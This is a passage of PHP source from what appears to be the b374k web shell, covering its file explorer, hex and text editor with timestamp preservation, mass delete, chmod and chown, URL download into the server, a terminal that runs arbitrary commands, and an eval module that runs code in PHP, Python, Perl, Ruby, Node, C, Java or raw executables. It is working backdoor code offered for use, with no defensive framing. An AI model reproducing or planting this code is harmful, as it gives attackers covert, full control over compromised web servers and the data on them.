5075} if(!function_exists('get_filemtime')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); }
5076} if(!function_exists('get_fileowner')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name['name'].":".$group['name']; } return $owner; }
5077} if(!function_exists('rmdirs')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; }
5078} if(!function_exists('copys')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; }
5079} if(!function_exists('get_all_files')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.'*'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; }
5080} if(!function_exists('read_file')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; }
5081} if(!function_exists('write_file')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; }
5082} if(!function_exists('view_file')){ function view_file($file, $type, $preserveTimestamp='true'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource('mime'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = 'image'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get('highlight.default'), "hl_keyword"=> ini_get('highlight.keyword'), "hl_string"=> ini_get('highlight.string'), "hl_html"=> ini_get('highlight.html'), "hl_comment"=> ini_get('highlight.comment') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content); $content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br> Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id='viewFullsize'> <span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src='' type='".$mime."'> </video> <p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id='viewFile' class='boxtbl'> <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path='".html_safe($file)."'><td colspan='2'> <span class='navigate button' style='width:120px;'>explorer</span> <span class='action button' style='width:120px;'>action</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span> </td></tr> <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; }
5083} if(!function_exists('get_writabledir')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,''); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; }
5084} if(!function_exists('get_drives')){ function get_drives(){ $drives = ""; $v = explode("\\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\\")){ $drives .= "<a class='navbar' data-path='".$letter.":\\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class='drive-letter'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; }
5085} if(!function_exists('show_all_files')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!='.')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id='xplTable' class='dataView sortable'><thead>"; $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class='col-".$k."'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td> <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k=='modified') $sortable = " title='".filemtime($d)."'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td> <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td> <td title='".filesize($f)."'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k=='modified') $sortable = " title='".filemtime($f)."'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class='cBoxAll'></div></td><td> <select id='massAction' class='colSpan'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan='".$colspan."'></td></tr> <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; }
5086} if(!function_exists('eval_get_supported')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); }
5087} if(!function_exists('eval_go')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\n"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)\n"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."\n"; $output = execute($cmd); } else $res .= " (failed)\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\n"; else $res .= " (failed)\n"; } else $res .= " (failed)\n"; } else $res .= " (not writable)\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\n"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\n"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."\n"; $output = execute($cmd); } else $res .= " (failed)\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\n"; else $res .= " (failed)\n"; } else $res .= " (failed)\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\n"; else $res .= " (failed)\n"; } else $res .= " (failed)\n"; } else $res .= " (not writable)\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\n"; if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\n"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\n"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."\n"; $output = execute($cmd); } else $res .= " (failed)\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\n"; else $res .= " (failed)\n"; } else $res .= " (failed)\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\n"; else $res .= " (failed)\n"; } else $res .= " (failed)\n"; } else $res .= " (not writable)\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\n"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."\n"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\n"; else $res .= " (failed)\n"; } else $res .= " (failed)\n"; } else $res .= " (not writable)\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; }
5088} if(!function_exists('output')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); }
5089}
5090block_bot();
5091auth();
5092chdir(get_cwd());
5093$nav = get_nav(get_cwd());
5094$p = array_map("rawurldecode", get_post());
5095$cwd = html_safe(get_cwd());
5096$GLOBALS['module'] = array(); $explorer_content = "";
5097if(isset($p['viewEntry'])){ $path = trim($p['viewEntry']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); }
5098}
5099else $explorer_content = show_all_files(get_cwd()); $GLOBALS['module']['explorer']['id'] = "explorer";
5100$GLOBALS['module']['explorer']['title'] = "Explorer";
5101$GLOBALS['module']['explorer']['js_ontabselected'] = "";
5102$GLOBALS['module']['explorer']['content'] = $explorer_content; $GLOBALS['module']['terminal']['id'] = "terminal";
5103$GLOBALS['module']['terminal']['title'] = "Terminal";
5104$GLOBALS['module']['terminal']['js_ontabselected'] = "
5105if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
5106$GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."></span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>"; $GLOBALS['module']['eval']['id'] = "eval";
5107$GLOBALS['module']['eval']['title'] = "Eval";
5108$GLOBALS['module']['eval']['js_ontabselected'] = "
5109if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
5110$GLOBALS['module']['eval']['content'] = "
5111<table class='boxtbl'>
5112<thead> <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
5113</thead>
5114<tbody> <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr> <tr id='evalAdditional'><td colspan='4'> <input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\"> <input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\"> </td></tr> <tr> <td style='width:144px;'> <select id='evalType'> </select> </td> <td colspan='3'> <span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span> </td> </tr> <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
5115</tbody>
5116</table>
5117"; $res = "";
5118if(isset($p['cd'])){ $path = $p['cd']; if(trim($path)=='') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p['showfiles'])&&($p['showfiles']=='true')){ $res .= show_all_files($path); } } else $res = "error"; output($res);
5119}
5120elseif(isset($p['viewFile']) && isset($p['viewType'])){ $path = trim($p['viewFile']); $type = trim($p['viewType']); $preserveTimestamp = trim($p['preserveTimestamp']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res);
5121}
5122elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){ $renameFile = trim($p['renameFile']); $renameFileTo = trim($p['renameFileTo']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res);
5123}
5124elseif(isset($p['newFolder'])){ $newFolder = trim($p['newFolder']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res);
5125}
5126elseif(isset($p['newFile'])){ $newFile = trim($p['newFile']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res);
5127}
5128elseif(isset($p['delete'])){ $path = trim($p['delete']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res);
5129}
5130elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){ $editFilename = trim($p['editFilename']); $editInput = trim($p['editInput']); $editType = trim($p['editType']); $preserveTimestamp = trim($p['preserveTimestamp']); $time = filemtime($editFilename); if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp=='true') touch($editFilename, $time); } else $res = "error"; output($res);
5131}
5132elseif(isset($p['findType'])){ $findType = trim($p['findType']); $findPath = trim($p['findPath']); $findName = trim($p['findName']); $findNameRegex = trim($p['findNameRegex']); $findNameInsensitive = trim($p['findNameInsensitive']); $findContent = trim($p['findContent']); $findContentRegex = trim($p['findContentRegex']); $findContentInsensitive = trim($p['findContentInsensitive']); $findReadable = trim($p['findReadable']); $findWritable = trim($p['findWritable']); $findExecutable = trim($p['findExecutable']); $candidate = get_all_files($findPath); if($findType=='file') $candidate = array_filter($candidate, "is_file"); elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findExecutable=="true"){ if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class='strong'>></span> <a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res);
5133}
5134elseif(isset($p['ulType'])){ $ulSaveTo = trim($p['ulSaveTo']); $ulFilename = trim($p['ulFilename']); if($p['ulType']=='comp'){ $ulFile = $_FILES['ulFile']; if(empty($ulFilename)) $ulFilename = $ulFile['name']; if(is_uploaded_file($ulFile['tmp_name'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile['tmp_name'], $newfile)){ $res = "<span class='strong'>></span> <a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p['ulType']=='url'){ $ulFile = trim($p['ulFile']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class='strong'>></span> <a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )"; } else $res = "error"; } else $res = "error"; output($res);
5135}
5136elseif(isset($p['download'])){ $file = trim($p['download']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header('Content-Transfer-Encoding: binary'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); }
5137}
5138elseif(isset($p['multimedia'])){ $file = trim($p['multimedia']); $mime_list = get_resource('mime'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header('Content-Transfer-Encoding: binary'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); }
5139}
5140elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){ $massType = trim($p['massType']); $massBuffer = trim($p['massBuffer']); $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR; $massValue = trim($p['massValue']); $counter = 0; $massBufferArr = explode("\n", $massBuffer); if(($massType=='tar')||($massType=='targz')||($massType=='zip')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType=='delete'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType=='cut'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType=='copy'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType=='chmod'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType=='chown'){ if(chown($path, $massValue)) $counter++; } elseif($massType=='touch'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output('error');
5141}
5142elseif(isset($p['viewFileorFolder'])){ $entry = $p['viewFileorFolder']; if(is_file($entry)) output('file'); elseif(is_dir($entry)) output('folder'); output('error');
5143}
5144elseif(isset($p['terminalInput'])){ output(html_safe(execute($p['terminalInput'])));
5145}
5146elseif(isset($p['evalInput']) && isset($p['evalType'])){ $evalInput = $p['evalInput']; $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:""; $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:""; $evalType = $p['evalType']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set('html_errors','0'); @ini_set('display_errors','1'); @ini_set('display_startup_errors','1'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res));
5147}
5148elseif(isset($p['evalGetSupported'])){ $res = eval_get_supported(); output($res);
5149}
5150$GLOBALS['module']['convert']['id'] = "convert";
5151$GLOBALS['module']['convert']['title'] = "Convert";
5152$GLOBALS['module']['convert']['js_ontabselected'] = "
5153if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
5154$GLOBALS['module']['convert']['content'] = "
5155<table class='boxtbl'>
5156<thead> <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
5157</thead>
5158<tbody> <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr> <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
5159</tbody>
5160<tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
5161</table>"; if(!function_exists('decode')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists('hash_algos')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo=='md5')||($algo=='sha1')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; }
5162} if(!function_exists('decode_line')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class='colFit'>".$type."</td><td>"; if($inputtype=='input'){ $res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>"; } else{ $res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>"; } return $res; }
5163} if(isset($p['decodeStr'])){ $decodeStr = $p['decodeStr']; output(decode($decodeStr));
5164}
5165$GLOBALS['module']['database']['id'] = "database";
5166$GLOBALS['module']['database']['title'] = "Database";
5167$GLOBALS['module']['database']['js_ontabselected'] = "";
5168$GLOBALS['module']['database']['content'] = "
5169<table class='boxtbl'>
5170<thead> <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
5171</thead>
